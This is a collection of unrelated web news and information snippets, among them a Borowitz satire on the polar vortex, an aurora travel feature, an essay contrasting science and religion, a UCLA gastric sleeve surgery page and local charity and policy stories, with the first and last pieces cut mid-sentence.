eventually killed me,” Hildreth told Cleveland 19. “If I hadn’t got out, I’d be one of the victims.” It “makes your skin crawl,” she said, “your gut turn.”
-MINNEAPOLIS (The Borowitz Report)—The so-called polar vortex caused hundreds of injuries across the Midwest today, as people who said “so much for global warming” and similar comments were punched in the face.  Authorities in several states said that residents who had made ignorant comments erroneously citing the brutally cold temperatures as proof that climate change did not exist were reporting a sharp increase in injuries to the face and head regions.  In an emergency room in St. Paul, Harland Dorrinson, forty-one, was waiting to be treated for bruising to the facial area after he made a crack about how the below-freezing temperatures meant that climate-change activists were full of shit.  “I’d just finished saying it and boom, out of nowhere someone punched me in the face,” he said. “This polar vortex is really dangerous.”  The meteorology professor Davis Logsdon, of the University of Minnesota, issued a safety warning to residents of the states hammered by the historic low temperatures: “If you are living within the range of the polar vortex and you have something idiotic to say about climate change, do not leave your house.”
-ROME (AP) — Police in Italy have shut down a mozzarella factory and arrested 13 people after finding that prized local buffalo milk was being cut with cheaper imported cow milk.  Authorities also found that the cheese, produced near the southern town of Caserta, contained as much as 20 times permissible levels of bacteria, said Carabinieri Police Maj. Alfonso Pannone.  Police on Monday also shut down seven stores selling the cheese in the Campania region which includes Naples.  Milky white buffalo mozzarella is prized by Italians and tourists. It carries a special label supposed to guarantee quality and protect its reputation.  Among those arrested were two public health service veterinarians who allegedly tipped the factory to upcoming inspections. The probe began after a worker lost some of his fingers because of safety flaws.
-(CNN) -- Winter travelers trek thousands of miles to the frozen north each year seeking the sky's "dancing lights," which provoke awe, excitement and, some say, sex.  CNN iReporter Bruce Barrett shot this rare red aurora in Canada's Whitehorse, Yukon. more photos »  Scientists call the natural phenomenon aurora borealis: cascading beams of greens, yellows, blues, purples or reds -- which paint a breathtaking backdrop across the wilderness and attract thousands of tourists annually.  "Usually it starts slowly as kind of a hazy greenish color -- like a mist -- building up in frequency dancing across the sky ... and to me that's religion," said photographer Dave Brosha of Yellowknife, Northwest Territories, who's seen more than 100 Canadian auroras. "It's just one of the most incredible feelings a person can have -- sitting there watching that."  To the west in Canada's Yukon province, tour operator Torsten Eder likes to tell a story about a marriage that was forged under the glowing curtains of light. See spectacular photos of auroras »  "I had one guy from Mexico, and he wanted to surprise his girlfriend by proposing marriage with a ring under the northern lights," said Eder from his office in Whitehorse.  "We got lucky and the lights were visible ... so our guest went down on his knee and proposed to his girlfriend and she was totally blown away. The funny thing was -- she wouldn't wear gloves for the first three days -- so she could show the ring off."  The otherworldly lights also have provided inspiration for almost sacred pilgrimages, Eder said. Guests who said they were going blind or battling cancer told him they wanted to view the auroras at least once in their lives.  Don't Miss In Depth: Winter Getaway  In Depth: Winter Getaway Daily aurora forecast  "It puts enormous pressure on us," said Eder. "You can't guarantee that the lights will be visible because it's a natural phenomenon." The display is generally visible at least every three days, he said.  Scientists say the northern lights are created by the sun's super hot atmosphere, which blasts particles into the protective magnetic field surrounding the Earth. The magnetic field forces the particles toward the north and south poles. About 60 to 200 miles overhead, the particles bump into the Earth's atmosphere and become electrically "excited" -- throwing off light of various colors, said Prof. Dirk Lummerzheim of the University of Alaska, Fairbanks.  "The forecast for this winter is a continued quiet sun, in general," he said. The sun is on the upswing of an 11-year cycle. "Maybe we will have a few periods once a month where the aurora can get a little bit more active."  Although the phenomenon occurs around the clock, the lights are only visible at night. The best time of year to see them is during winter, when darkness in the upper latitudes stretches up to 24 hours. See map where northern lights can be seen »  Eder's Northern Tales tour company picks up guests at their hotels about 10 p.m. and takes them to an area about 20 minutes outside Whitehorse's city lights. There, travelers can enjoy nature's colorful show from a heated, walled tent until around 2 a.m.  "We almost take it for granted sometimes," said Brosha. "No matter how many times you've seen the aurora borealis -- when they really dance, when you get some really unique colors -- you just kind of say, 'Wow, I'm so lucky to see that.' "  A warmer way to enjoy the northern lights is a shallow, natural rock lake at Chena Hot Springs outside Fairbanks, Alaska, which allows bikini-clad guests to enjoy the lights in temperatures of 106 degrees Fahrenheit.  "I mean, honestly, it's the best way to see them," said spokeswoman Denise Ferree. "Because you're warm and toasty and you're watching the northern lights above."  Chena's owner, Bernie Karl -- who's often as colorful as the lights themselves -- said the auroras sometimes spark the libido.  "Having sex under the northern lights -- it's an awesome experience," Karl said. "Have you ever been out in nature at 35 below zero with northern lights bouncing over your head and your bare ass? Well, you need to try it."  If the hot springs aren't for you, Chena also takes guests up a nearby mountain to observe the auroras from heated Mongolian-style tents called yurts.  The resort prides itself on its environmental initiative, which has led to the generation of clean electricity from geothermal heat produced by the hot spring.  "Iceland is probably one of the best places to see the northern lights," said Reykjavik tour guide Arni Magnusson of AM Tours. That's especially true as the U.S. dollar gains value against the Icelandic krona -- offering some attractive hotel and shopping opportunities.  Guests are picked up at their hotel for a 20-minute drive outside the city to view the lights from higher elevations. "People say they feel closer to Earth and to the forces of nature," said Magnusson. "The lights totally overwhelm them."  Dan Hershman's life changed dramatically after he photographed a spectacular aurora in Washington state in 2000, which was a peak year in the solar cycle.  "These things are just dynamic and they seem just alive and organic," said Hershman, who at the time was a high school music teacher.  The photo was unique enough to attract the attention of NASA, which ran the image on its Web site, Hershman said. This spurred his interest in photography and soon, as Hershman put it, "my hobby became my profession and my profession became my hobby."  Now Hershman performs as principal bassoonist in local orchestras as a hobby -- and he teaches high school photography in Federal Way, Washington, as his profession.  The trick to photographing the auroras, Hershman said, is choosing to take the picture when the lights aren't moving as much. "Otherwise it looks like nothing but a big blob," he said.  IF YOU GO  WHITEHORSE  Activities  Yukon Brewing Company offers tours of this award-winning brewery, the home of such libations as Espresso Stout, made with local espresso from Midnight Sun Coffee Roaster.  Mac's Fireweed, an independent bookstore and a Whitehorse institution, offers a nice selection of magazines and a huge catalogue of book titles.  Northern Tales tour company picks up guests at their hotels and takes them a short distance outside Whitehorse to view the auroras from heated, walled tents.  Stay:  Just north of Whitehorse, see the northern lights from Takhini Hot Springs, which offers cabins and camping facilities. Two bed and breakfasts come recommended by Whitehorse residents: Casey's and Hawkins House, at 867-668-7638.  YELLOWKNIFE  Activities  Enjoy warm tepees as well as food and drinks while viewing the northern lights at Aurora Village, which gets up to 20 hours of darkness in the winter months.  FAIRBANKS  Stay:  Chena Hot Springs resort offers accommodations and viewing tours of the northern lights. Locals also recommend Mount Aurora Fairbanks Creek lodge for those seeking views of the spectacular lights.  ALASKA WILDERNESS  Stay:  If you're looking for a trip deeper into the wilderness, Tolovana Hot Springs offers views of the auroras about 45 miles from Fairbanks -- accessible by trail or plane only.  Northern lights tours:  Travel to the Brooks mountain range above the Arctic Circle can be arranged with Out in Alaska at 877-374-9958. Northern Alaska Tour Co. offers wilderness tours to see the auroras in Coldfoot.  ICELAND  Northern lights tours:  Visitors interested in guided views of the northern lights can contact AM Tours at 011-354-898-6581.  Activities:  Enjoy the hot springs and spa facilities at the famous Blue Lagoon. Find general information on touring Iceland at Iceland Travel.  All About Alaska • Canada • Iceland
-By Charles L. Rulon  Emeritus, Life and Health Sciences  Long Beach City College (ruloncl@yahoo.com)  “It is not so much knowl­edge of science that the public needs, as a scien­tific world view — an under­standing that we live in an orderly universe governed by physical laws that cannot be circumvented by any amount of piety or clever­ness.” — Robert L. Park, Professor of Phy­sics  How do humans think they know something?  There are basically four ways in which we think we know something:  —Authority: We read about it or heard about it from a source we trust.  —Senses: We experienced it with one or more of our senses.  —Reason: We reasoned it out based on what we already think we know.  —Intuition: We intuitively know it, sometimes through a “religious insight”.  The problem, of course, is that each of these four ways of knowing can be notoriously un­reliable. Authori­ties can be mistaken; reasoning can be flawed; intu­itions can be wrong; our senses can be distorted. Consider the following once widely held belief:  “It’s common sense that the Earth doesn’t spin or race around the Sun. If it did we’d all be blown off, or at least feel something. Aris­to­tle logically proved that the Earth couldn’t be moving and St. Augustine, in direct communi­ca­tion with God, agreed. Even the Bible tells us in Psalms 104:5 that the Earth doesn’t move. So there!”  Yet, our senses, logic, common sense, inner know­ing and top authorities were all proved wrong. Our planet does dash through space, moving around our Sun at roughly 65,000 mph for the last several billion years! Now consi­der another widely held belief:  “I just know we didn’t evolve from apes. It’s too degrading and goes against God’s plan for us and His word in Genesis. Besides, you can’t prove it, since no one ever saw a human evolve from an ape. It’s just too impossible to believe.”  Yet, again, in spite of beliefs still held by over 40% of adult Americans, we really do have an extremely long evolutionary history. The sup­por­­t­ing evi­dence is just too compelling for any informed think­ing per­son to deny. Once again, those who thought other­wise based on intuition, their senses, script­ural authority, or reason, were proved wrong. How? By a collection of powerful methods of inquiry de­veloped and polished over the last 400 years of human existence, now collectively referred to as the Scien­tific Method.  Cur­rently mil­­l­ions of sci­en­tific and technological ar­ticles are being pub­­lished yearly in tens of thousands of different scientific jour­nals. This explosion of scien­tific know­­ledge has now imposed severe limita­tions on the ability of any one scientist to stay current except in very narrow specialty areas. Science today is like an extremely rapid­ly expanding region with a solid core of theories known to be true with a high level of certainty. As one moves outward from this core, theories become progres­sively more and more tentative.  The Scientific Method  The Scientific Method has turned out to be the most powerful and widely used method of inquiry humans have ever discovered for un­der­stand­ing how our bodies, our world and our uni­verse work—not the way we might want things to work, not the way we believe things should work, but the way things actually seem to work. It’s a way of discovering which hypothe­ses among many possi­ble explana­tions are wrong, thus hom­ing in on the right ones. Correct expla­na­tions open doors to ever deeper and more profound discoveries; wrong explana­tions lead to blind alleys.  To do science requires a healthy skepti­cism and high doses of logic, reason and intellectual honesty. The rational power of the human mind is highly respected. But this is not to imply that doing science is like following a cookbook with a particular recipe to follow. It requires considerable patience while stumbling down blind alleys, taking wrong turns, and sorting through incomplete and possibly biased data.  The Scientific Method requires following the evidence wherever it leads, despite personal beliefs or expectations. Its tools include formulating testable hypotheses to explain the raw evidence (observational, experimental, mathe­matical) on its own terms, rather than by “for­cing” the data to con­form to some preconceived belief. Although imaginative speculation is essential, hypotheses have to stand up to the evidence. They also have to be capable of being proved false, at least in theory. Experiments and observations require rigorous controls and reproduci­bility by independent investi­ga­tors  The data, theories and laws making up science are not secured by authorities. For no matter how convin­c­ing or inspired the auth­or­­ity may be, no matter how high in state, church, or even the world of science the authority may be, scientists always de­mand to see the hard evi­dence. When no evidence can be pre­sented other than revelations in dreams, the “voice of God,” the writings from an ancient holy book, or glowing (yet un­con­trolled) tes­timonials, scien­tists must with­­hold accep­tance of the claim. Inserting “God did it” answers into gaps in scientific knowledge is scientifically unsound, since all research stops.[1]  In science, extraordinary claims (claims that conflict with large bodies of evidence to the contrary) require extraordinary empirical evi­dence to become widely accept­ed. Thus, when someone claims to have a piece of Noah’s ark, or evi­dence that we’ve been visited by space aliens, or a human fossil found in the same rock layer as a dinosaur fossil, or evidence that intercessory prayer works in healing dis­ease, the Scientific Method requires that one remain very skep­t­i­cal. In such cases, scientists must demand strong empirical evidence ob­tained un­der conditions of extra­ordi­nary security to prevent any pos­si­bility of data tampering.  Scientific know­ledge is constantly up­dated through peer-reviewed journals and at science conven­tions throughout the world. Through this process errors are eventually caught and weeded out. Disagreements in science, although acrimonious at times, are usually resolved by more observations and experiments. Though much in science is now firmly established, no theories are beyond the possibility of revision in the light of new evidence.  One of the most striking features of the Scientific Method (and its resultant discoveries) is its universality. The rules and results don’t vary based on one’s nationality, ethnicity, sex, or geography. There is no such thing as “feminine science” or “African-American science.”[2] Science is an on­going enterprise involving a vast inter-generational and global community.  The basic scientific ethic must be absolute hon­esty in record­ing and pre­senting data. It’s curbing wishes, personal prejudices and emo­­­tions when inter­pre­t­ing the evidence. It’s bend­ing over back­wards in trying to dis­prove favorite hypo­theses. As difficult as this is to do in practice, it still is the essence of scien­tific integrity, an integ­rity many believe our society sorely needs.  “Science is much more than a body of knowl­edge. It is a way of thinking [that] invites us to let the facts in, even when they don’t conform to our precon­cep­tions. “It urges us on to a no-holds-barred open­­ness to new ideas, how­­ever hereti­­cal, and the most rigorous skeptical scrutiny of ev­ery­thing–both new ideas and estab­­lished wis­dom. We need wide apprecia­tion of this kind of think­ing. It works. It’s an essen­tial tool for demo­­­c­racy in an age of change.”  —Carl Sagan, astronomer  Religious “truths”  Unlike scientific knowledge, religious beliefs and truths vary enor­mous­ly over the planet, with deities and sacred dog­mas of every con­ceivable variety, seemingly limited only by human imagi­nations. The following comparisons between science and religion tend to refer to the more conservative and fundamentalist religious sects.  —Unlike science, religion is not a method of inquiry, but a body of belief usually grounded in sacred texts, supernatural explanations, faith (commitment in the absence of compelling empirical evidence), and religious experiences.  —Unlike science, the skeptical question­ing of religious beliefs, dogmas and moral positions is often seen as sinful, even heresy. Instead, religious disagree­ments tend to be “resolved” by more prayer and study from holy books, or even by splintering into separate sects.  —Unlike science, different religions usually see themselves as rivals rather than interlocking parts of one enterprise. Historically, ostracism, coercion, righteous attacks and even warfare have been used against those with dif­ferent religious beliefs.  —Unlike science, in religion faith is seen as a virtue. In fact, the more extra­ordinary the religious claim (by scientific standards), the stron­g­er the tendency of the faithful to believe that claim as a measure of the power of their faith. Many have been taught that to hold onto beliefs that have been disproved by science represents the highest of virtues, one to be reward­ed by God on the final judgment day. Examples include a literal belief in the bibli­cal creation stories, Noah’s ark, the Resur­rection and other religious miracles.  —Unlike science, religious believers “know” they have God-given inerrant truths in their holy books. Thus, religious dogmas and moral positions rare­ly (or very slowly) change in light of new conflict­ing scientific and historical knowledge. Instead, considerable energy is often spent in either willfully ignoring or attempt­ing to discredit those scientific findings, rational inquiries and ethical advances that conflict with religious dogmas. The power of human intelligence is often dismissed or belit­tled in such cases.[3] Thus, enormous ignorance regarding how our universe actually seems to work can remain hidden under cloaks of exalt­ed and righteously guarded sacred prose.  The abuse of science  The discoveries of science and the development of asso­ciated technologies have had enormous benefits for hu­man­kind in the past few centuries. Agricultural and medical advances have exploded, markedly reducing pain and suffering and contrib­uting to human welfare and happiness.  But in the hands of our recently evolved fallible brain and the political, social and religious institutions emerging from this brain, scientific and technological discoveries have also led to horrific nuclear, chemical and biological weapons and have dramatically accelerated our global ecological destruc­tion.  Today, we have power structures that disregard scien­tific consensus and expertise in favor of ideological alliances. This abuse of power has a serious corrosive effect on the public’s trust in science. When scientific information becomes manipulated and corrupted by partisan politics and/or by corporate power and greed to achieve political, financial or religious ends, the quality and integrity of the political process inevitably suffers. “It is the failure of the public to appreciate the power of the scientific method to discover truth, and to lift the human species out of the muck that enables politicians to ignore its findings in shaping public policy.”  “What the world needs is not dogma but an attitude of scientific inquiry”  — Bertrand Russell  Some final thoughts  Applying rational critical thought to all areas of know­ledge, in­cluding formerly taboo subjects such as reli­gion, is one hallmark of an educated mind. Being scientifically skep­tical is not the same thing as being closed-minded, cynical or pessimistic. A scientific at­titude helps to protect us from being seduced by super­­­sti­tion, prejudice, pseudoscience, quackery and error. The demand for solid evi­dence helps to clear the way for intel­lec­tual pro­gress. After all, fool­­­ish­ness, fraud, fakery, error, wish­ful thinking, over-en­thu­­siasm and delu­sion are very common human attributes. If we wish to live in soci­eties that value rea­son, honesty, crea­tivity, know­ledge, truth and integ­rity—socie­ties that are opposed to ancient, irra­tional and some­times harmful super­stitions and dogmas—then a scien­tific and rational look at these dog­mas becomes essential.  Hon­est doubt is not a blem­ish upon our ability to know. The alterna­tive to uncertainty is authority against which scien­tists have fought for centuries.  —Richard Feynman  ———————————————-  [1]Inserting “God did it” answers into scientific unknowns is also bad theology. The strength of one’s faith now depends on whether or not scien­tists can fill this gap in our knowledge. Since scientists have been extremely suc­cess­ful over the last few centuries in replacing “God did it” answers with naturalistic explanations, the risk of one’s faith being undermined is quite high, as biblical literalists have been painfully discovering for centuries.  [2]This is not to deny that in fields such as sociology, psychology and cultural anthropology, female scientists and African-American scientists have often asked quite different questions than have white male scientists and have even exposed considerable white male bias.  [3]Some biblical passages used by believers to dismiss or denigrate rational thought: “The wisdom of the Lord can only be un­der­stood by the spirit­ual man. The un­saved just cannot under­stand these matters (Mark 9:42, I Cor. 2:13, Col. 2:8).” “Avoid the Godless mix­ture of con­tradictory notions which is falsely known as knowledge. Some have follow­ed it and lost their faith (1 Tim. 6:20).” “Be careful that nobody spoils your faith through intel­lect­ualism or high sounding nonsense. (Col. 2:8).”
-Marijuana retailers are likely still months from opening. (Michael S. Williamson/The Washington Post)  Of the four facilities — Herbal Alternatives at 1147 20th St. NW; Metropolitan Wellness Center at 409 Eighth St. SE; Takoma Wellness Center at 6925 Blair Rd. NW; and Center City Care at 1334 N. Capitol St. NW — three secured votes of approval from local advisory neighborhood commissions. (DCist had a fine rundown of the particular votes.)  Only the Center City location didn’t get its ANC’s nod, but city health director Mohammad N. Akhter chose to keep it eligible to sell medical marijuana anyway.  In a statement, Akhter said the continued progress, however slow, shows “the District’s commitment to provide patients who are suffering from very specific conditions that require unique solutions to help alleviate their pain.”  It still could be months before marijuana is for sale. For one, the six cultivation centers previously approved for registration haven’t started growing operations. Without their marijuana supply, dispensaries have nothing to sell.  According to a spokesman for the Department of Consumer and Regulatory Affairs, which oversees permitting, none of the six have applied for “certificates of occupancy” at their chosen facilities — a final approval necessary to commence business. Those certificates require the personal approval of the city’s zoning administrator, said the spokesman, Helder Gil.
-Rob Ford stole my seat! Disgraced Toronto Mayor is accused of taking rock star's spot at Buffalo Bills NFL game  Canadian musician Matt Mays says Rob Ford took his seat at the Buffalo Bills-Atlanta Falcons game in Toronto today  Mays tweeted that the Mayor was in his seat and asked fans for advice  Most advised he kick the embattled politician from the seat  Mays eventually got his seat back  author]  He's done some questionable things in his life, but has Toronto Mayor Rob Ford finally crossed the line?  The embattled politician has been accused of stealing another person's seat when he attended the match between the Atlanta Falcons and the Buffalo Bills in Toronto on Sunday.  Shortly after the game began, musician Matt Mays tweeted that the Mayor was in his seat.  Seat warmer: Musician Matt Mays accused Mayor Rob Ford of stealing his seat at a Sunday NFL game  Musician versus Mayor: Matt Mays was unsure of what to do when he discovered Rob Ford in his seat at the NFL today  'Rob Ford is sitting in my seat at the Bills game. He stole my seat. I don't know what to do,' he wrote at 4:50pm.  The musician, who fronts indie rock band The Guthries, sought some advice from his Twitter followers, no doubt somewhat trepidatious of the volatile Mayor.  'I'm by myself. I gotta kick him out right? I mean I would kick anyone else out... Am I wrong?' he asked the Twittersphere.  Rob Ford is sitting in my seat at the Bills game. He stole my seat. I don't know what to do. — Matt Mays (@MattMays) December 1, 2013  I'm by myself. I gotta kick him out right? I mean I would kick anyone else out... Am I wrong? — Matt Mays (@MattMays) December 1, 2013  xxxx  Lisa wrote, '@MattMays After seeing him tackle that old lady at the city council meeting, I'm not so sure.'  Steve Fisher advised, 'We all wish we could boot him from office. At least you can boot him from your seat. Do it. '  Seemingly still unsure of what action to take, a frustrated Mays tweeted, 'The mayor stole my f@#%ing seat man!!'  @MattMays tell him theres a guy selling crack by the toilets. Job done. — Peter Webber (@PeterWebber) December 1, 2013  While so far there hasn't been any visible evidence of Mays being at the game, social media has been alive with football fans' pictures of Ford.  According to one Twitter use, a security guard had to be stationed near Ford - or Mays' - seat to shoo away people trying to snap a picture of the infamous Canadian.  Hey Rob Ford! pic.twitter.com/275fTMLwQz — Jack Walmsley (@jackle_more) December 1, 2013 Fan favorite: Toronto Mayor Rob Ford poses with a fan during the first half of an NFL football game between the Atlanta Falcons and the Buffalo Bills on Sunday  Snack time: There was almost more attention on Rob Ford's movements than the action on the field  The Mayor is pictured enjoying snacks, applauding and posing for pictures with his bemused public.  Fortunately, it seems May finally screwed up the courage to ask Ford for his seat back.  At 3:06pm, the singer-so0ngwriter told fans, 'Got my seat back.'
-Home Bariatrics Gastric Sleeve  Gastric Sleeve Share this  Sleeve Gastrectomy (Gastric Sleeve)  Affiliated: FAQs | Patient Photos | Patient Stories | Doctors | Illustrations  Gastric Sleeve Surgery: All the things you need to know  On this page...  The Gastric Sleeve Surgery (or Vertical Sleeve Gastrectomy) is a bariatric procedure that removes 75-80% of the stomach. It is now the most commonly performed bariatric procedure in United States and worldwide.  Gastric Sleeve Surgery brings profound changes to life!  Overall improved quality of life  Excess weight loss of about 60-70% within one year of surgery  Remission or improvement of obesity related health conditions such as diabetes mellitus type II, hypertension, sleep apnea, fatty liver disease, joint pain, and hyperlipidemia  Desire to eat decreases  Reduction in hunger sensation  How Gastric Sleeve surgery is performed  1. Small incisions are made in the abdominal wall for the insertion of small trocars  2. The stomach is inspected and the blood vessels to the lateral side of stomach are divided  3. A Bougie tube is inserted into the stomach and serves as a sizer for the new stomach  4. The stapler is used to divide the stomach into two parts  5. Continuous firing of the stapler is used to divide the stomach  6. The stomach is completely divided into two parts  7. The new banana shaped stomach has about 20-25% of original stomach volume  back to top  Gastric Sleeve Educational Video  back to top  How does the Gastric Sleeve surgery work?  There is a reduction in stomach volume, causing people to feel full much quicker after the surgery Hormonal changes such as reduced secretion of hunger hormones cause people to feel less hungry Increased stomach motility, which allows food to pass stomach and intestine quicker after surgery  History and Trend of the Gastric Sleeve  Initially, the Gastric Sleeve was the restrictive part of the biliopancreatic diversion duodenal switch operation. Then, the gastric sleeve became the first stage operation for very obese patients who underwent duodenal switch operation to reduce the perioperative risks. Some patients lost enough weight after the gastric sleeve surgery and did not undergo the planned second stage duodenal switch operation. These findings prompted bariatric surgeons to consider the gastric sleeve surgery as a standalone bariatric procedure. The first laparoscopic Gastric Sleeve was performed in 2000.  Over the past decade, the number of gastric sleeve surgeries continue to increase nearly every year. Now, more than half of all bariatric surgeries performed in US are gastric sleeve procedures.  back to top  How much weight will I lose after the Gastric Sleeve?  On average, people lose about 60-70% of their excess weight  The first 2 weeks: 10-20 pounds; most patients lose about one pound a day  The first 3 months: 35-45% of excess weight loss  The first 6 months: 50-60% of excess weight loss  The first year: 60-70% of excess weight loss  Most people reach their lowest weight 12-24 months after surgery  The Gastric Sleeve success rate is approximately 80-90%  back to top  Improvement of Obesity Related Health Problems  Large clinical trials and studies have proven gastric sleeve surgery lead to resolution or improvement of many obesity related health problems such as:  Type 2 diabetes: Most studies indicated that 60-80% of patients with type 2 diabetes could achieve disease remission or improvement after gastric sleeve surgery  Hypertension  Fatty liver disease  High cholesterol  Sleep apnea  Decreased cancer risk  PCOS  Asthma  Migraine  Join pain  Depression and other psychosocial problems  Infertility  Low testosterone: Gastric sleeve can naturally lead to increased testosterone level  Urinary incontinence  Gout  back to top  Eligibility and Insurance Coverage  Most insurance companies cover bariatric surgery, when you meet the following criteria:  BMI greater than 40, or  BMI of 35-39.9 with one of the obesity related health problems such as:  Hypertension  Type 2 diabetes  Sleep Apnea  Fatty liver disease, or  Hyperlipidemia  For patients who want to have surgery at UCLA, we will verify your insurance coverage.  Please submit an online request of appointment form.  For patients with BMI of 30-34.9, insurance will not cover bariatric surgery procedures. However, we have self-pay options for those individuals who have struggled with obesity for a long time, especially those with obesity related health problems.  Calculate your BMI  back to top  Recovery after Surgery  The surgery takes approximately 40-70 minutes  Discharge from hospital typically occurs after 1-2 nights  All patients are encouraged to walk as early as 3-4 hours after surgery  In general, the pain is easily manageable after surgery. Most patients take less than the recommended pain medication  Most patients go back to work and/or school after 2-4 weeks. Fatigue is common the first 2 weeks due to low calorie intake from liquid diet. However, the majority of patients do not feel hungry during this stage of the diet. The energy level improves quickly after the introduction of the soft diet, which is approximately 2 weeks after surgery. On occasion, we allow patients to work from home 2-3 days per week after surgery.  Patients can begin exercising 4 weeks after surgery  back to top  Complications and Risks  Over the past decade, with the improvement of surgical techniques and surgeons’ experience, the gastric sleeve has become an overall safe bariatric surgical procedure. However, complications can still occur during and after surgery. Below are the main complications and risks of the gastric sleeve surgery:  Leakage from the staple line – this is a rate but serious complication of the gastric sleeve surgery. The reported leak rate is between 0.7-3 percent. At UCLA, we pay paramount attention to our surgical techniques to minimize all the complications. At this point, we have never had a leak from the gastric sleeve surgery at UCLA.  Stricture/stenosis - In the past, we had one stricture among our first 20 gastric sleeve procedures. We have not had any strictures within the past 5 years.  Bleeding  Blood Clot  Heart Burn – This is a very controversial topic in bariatric surgery and the data from different centers is inconsistent. In our experience, most patients with heartburn before surgery see improvement of symptoms after surgery due to weight loss. Some patients may develop new heartburn, which is treatable with over-the-counter anti-acid medications, in most cases.  Nutrient or vitamin deficiency  Weight Regain – After 1-2 years, slight weight regain is common among all bariatric procedures and about 10-20% of patients can have significant weight regain after gastric sleeve surgery. After 5 years of follow up, many centers collected data to show that the majority of patients can maintain their weight loss after the Gastric Sleeve Surgery.  Excess skin, in some cases, insurance will cover excess skin removal  back to top  Diet after Gastric Sleeve Surgery  Day 1 : Clear liquid diet. Some surgeons allow patients to drink water a few hours after surgery  : Clear liquid diet. Some surgeons allow patients to drink water a few hours after surgery Day 2-14 : Full liquid diet including protein shakes, yogurt, broth, milk, and juice  : Full liquid diet including protein shakes, yogurt, broth, milk, and juice Weeks 3-5 : Soft food diet  : Soft food diet Patients can begin introducing regular food 5 weeks after surgery. They are encouraged to eat a small amount of food each time and have meals that are more frequent.  All patients must take multi-vitamin and B complex after surgery  Comparison of Gastric Sleeve to other Types of Bariatric Procedures  Laparoscopic gastric banding (Lap-band) was once very popular. However, due to its high rate of long term complications and inferior weight loss, the number of Lap-band surgeries went down every year in the US and worldwide. Most of the US large academic Bariatric Surgery Centers rarely perform the Lap-band procedure at this time.  Laparoscopic Roux-en-Y Gastric Bypass Surgery is the gold standard of bariatric surgery. However, Gastric Sleeve has replaced the Gastric Bypass Surgery as the most popular bariatric surgery in recent years due to its technical simplicity and fewer long-term complication rates.  back to top  Advantage of Gastric Sleeve versus Gastric Bypass Surgery  Technically, the Gastric Sleeve is a much simpler surgery. The operating time for gastric sleeve is usually 40-70 minutes, while gastric bypass surgery takes approximately 2-3 hours to complete.  There is a much lower chance for nutrient or vitamin deficiency with the Gastric Sleeve procedure. In addition, there is no mal-absorption for Gastric Sleeve patients.  Some long-term complications could occur with the Gastric Bypass patients including bowel obstruction, marginal ulcer, and internal hernias. The chance of Gastric Sleeve patients developing these complications is exceedingly rare.  Gastric Sleeve Surgery Success Stories  Kallista's Story - Weight Loss Surgery: Gastric Sleeve* Gastric Sleeve  I am forever grateful for my experience at UCLA.  View Kallista's Story >  Sheena's Story - Weight Loss Surgery: Gastric Sleeve* Gastric Sleeve  If I had to do it all over again, I would do it in a heartbeat.  View Sheena's Story >  Sarah's Story - Weight Loss Surgery: Gastric Sleeve* Gastric Sleeve  I truly feel like I got another chance at life!  View Sarah's Story >  Contact Us  To schedule a consultation with UCLA Bariatric Surgery in Los Angeles, California, call us at (310) 825-7163 or  fill out our online form >  For a physician referral, please call (800) UCLA-MD1 (825-2631).  *Weight loss results can vary depending on the individual. There is no guarantee of specific results. Read full disclaimer >  back to top
-The Associated Press reported last week on the efforts of Sheriff Adrian Garcia of Harris County, Texas, to prevent violence against the Houston county jail’s estimated 250 gay, lesbian, bisexual and transgender inmates. The AP notes that while a number of major cities have taken similar steps, Harris County will be the first in Texas to implement such a program.  Naturally, the American Family Association and Eagle Forum are scandalized.  Under the headline, “Deputy, Ronnie is now called Regina: Jail enacts sexual orientation policy,” Charlie Butts, a reporter for the AFA’s OneNewsNow, interviews Texas Eagle Forum president and former Texas Republican Party chairwoman Cathie Adams, who claims that Houston’s mayor Annise Parker – who is openly gay – is behind the new policy.  Adams claims that Parker actually wants to leave LGBT people “more vulnerable to abuse” and that the policy “will eke into the community and set up a very tragic situation.” She suggests instead of allowing transgender people to identify as they choose, that the jail offer conversion therapy to transgender inmates; Butts claims, “The mental health field has an excellent track record in treating transgendered people to conform to their biological gender.” In fact, major medical groups including the American Medical Association and the American Psychological Association oppose the practice of reparative therapy.
-We want our 100in1Day projects to temporarily improve a public space in Edmonton and demonstrate how a community might achieve more lasting positive change. It may be led by an individual, community-based group, or an organization.  Projects can be practical, like planting trees or pop-up street furniture. They can be social, like hosting a block party. They can be artistic, like flash mobs or yarn bombing. They can challenge us or fix a problem. They can be as big or small as you want. All projects must be safe, legal and inclusive.  Examples of placemaking include:  Art installations or street art  Public performances or storytelling  Planting community gardens or cleaning up a park  Screening films outdoors  Hosting a community potluck or BBQ  Playing games such as soccer, jump rope or hopscotch  Setting up a free lemonade stand and talking to passersby  Need some more inspiration?  Browse all the projects people organized for 100in1Day 2016.
-Danny Did Foundation annual kickball tournament View Full Caption  EDGEBROOK — Clouds hung in the sky and the grass was wet from heavy rainfall the day before, but hundreds of families traveled to Edgebrook Park on Sunday promising their kids a day of outdoor fun.  As soon as they got to the park, the weather changed; suddenly it was nothing but clear blue skies and sunshine.  "It was because of Danny," said Mary Duffy, chief operating officer of the nonprofit Danny Did Foundation, which organized its fifth annual kickball tournament in honor of Danny Stanton, who was 4 when he died after a seizure in his sleep in 2009.  This year's event drew 320 registrations from kids ranging from kindergartners to eighth-graders. They traveled from as far as Northwest Indiana, said Tom Stanton, Danny's uncle and the executive director of the foundation. That makes it the biggest turnout yet, he added.  Proceeds go to the foundation, which aims to prevent deaths caused by seizures. About 2.3 million Americans suffer from epilepsy, according to the Centers for Disease Control and Prevention.  Stanton said the tournament raised around $10,000 this year through a combination of registration fees, donations and sponsorships.  Kickball was an "obvious choice" when members of the foundation sat down to design events five years ago, Stanton said. Danny used to play in his front yard with his sister, Mary Grace, now 13, and his two brothers, Tommy, 6, and Johnny, 12.  And he played "really well" for a 4-year-old, Duffy said. He was good at baseball, too, Stanton remembered.  One of his cherished memories was during Danny's last summer, in 2009.  Danny was very attached to his older brother Johnny, and went to all of his baseball games in the the hopes that he could fill in, he said. That summer, Johnny's baseball team made it to the championship, and sure enough, a player was injured, so Danny got the chance to play.  "He got a hit, which was pretty incredible for a little 4-year-old running around with 7-year-olds," Stanton said. "I always cherish this moment."  Duffy, who is a family friend of the Stantons, said Danny could kick the ball "5 yards down" and he would always play with the older kids.  On Sunday, kids of all ages played kickball on teams according to age, donning neon T-shirts with a Danny Did Foundation logo. On the perimeter of the park, volunteers sold popcorn, pizza and snow cones, all of Danny's favorite foods, Duffy said.  In 2011, the field at the park was officially named Danny Stanton Field, Stanton said.  Danny's sister Mary Grace, who is going into eighth grade, said all of her friends from school come to 